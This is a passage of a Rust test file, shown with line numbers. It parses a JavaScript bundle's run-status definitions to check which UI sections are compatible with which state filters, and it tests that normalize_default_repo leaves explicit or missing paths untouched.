10000 .expect("the shape list is closed by its done-computing .map(...)")
10001 + shapes_body_start;
10002 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10003
10004 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10005 for entry in shapes_src.split('{').skip(1) {
10006 let waiting = entry.contains("waiting: true");
10007 let dead = entry.contains("live: \"dead\"");
10008 let status_at =
10009 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10010 let status_end = entry[status_at..]
10011 .find('"')
10012 .expect("the status string is closed")
10013 + status_at;
10014 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10015 }
10016 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10017
10018 let done_rule_marker = "done: !";
10022 let done_rule_at = APP_JS[shapes_close..]
10023 .find(done_rule_marker)
10024 .expect("the done rule follows the shape list")
10025 + shapes_close
10026 + done_rule_marker.len();
10027 let includes_at = APP_JS[done_rule_at..]
10028 .find(".includes(shape.status)")
10029 .expect("the done rule ends in .includes(shape.status)")
10030 + done_rule_at;
10031 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10032 .trim()
10033 .trim_start_matches('[')
10034 .trim_end_matches(']')
10035 .split(',')
10036 .map(|s| s.trim().trim_matches('"'))
10037 .filter(|s| !s.is_empty())
10038 .collect();
10039
10040 let shapes: Vec<(bool, String, bool, bool)> = shapes
10041 .into_iter()
10042 .map(|(waiting, status, dead)| {
10043 let done = !not_done.contains(&status.as_str());
10044 (waiting, status, dead, done)
10045 })
10046 .collect();
10047
10048 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10052 if waiting {
10053 return "waiting";
10054 }
10055 if dead
10056 && !matches!(
10057 status,
10058 "merged"
10059 | "ready"
10060 | "stalled"
10061 | "blocked"
10062 | "failed"
10063 | "verified_noop"
10064 | "superseded"
10065 )
10066 {
10067 return "stale";
10068 }
10069 match status {
10070 "merged" | "ready" => "landed",
10071 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10072 _ => "flight",
10073 }
10074 }
10075
10076 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10079 match filter_key {
10080 "active" => !done,
10081 "flight" => !done && !waiting && !dead,
10082 "stale" => !done && !waiting && dead,
10083 "waiting" => waiting,
10084 "done" => done,
10085 "all" => true,
10086 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10087 }
10088 }
10089
10090 let compatible = |section: &str, filter_key: &str| {
10091 shapes.iter().any(|(waiting, status, dead, done)| {
10092 run_section(*waiting, status, *dead) == section
10093 && filter_matches(filter_key, *waiting, *dead, *done)
10094 })
10095 };
10096
10097 let expected = [
10102 ("waiting", [true, false, false, true, true, true]),
10103 ("stale", [true, false, true, false, false, true]),
10104 ("flight", [true, true, false, false, false, true]),
10105 ("landed", [false, false, false, false, true, true]),
10106 ("ended", [false, false, false, false, true, true]),
10107 ];
10108 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10109
10110 for (section, wants) in expected {
10111 for (filter_key, want) in filter_keys.iter().zip(wants) {
10112 assert_eq!(
10113 compatible(section, filter_key),
10114 want,
10115 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10116 );
10117 }
10118 }
10119
10120 assert!(
10123 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10124 );
10125 assert!(APP_JS.contains(
10126 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10127 ));
10128 assert!(APP_JS.contains(
10129 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10130 ));
10131 }
10132
10133 #[tokio::test]
10134 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10135 let dir = tempfile::tempdir().expect("tempdir");
10139 let explicit = dir.path().join("not-a-checkout");
10140 std::fs::create_dir_all(&explicit).expect("create dir");
10141 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10142
10143 let missing = dir.path().join("does-not-exist-at-all");
10144 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10145 }
10146}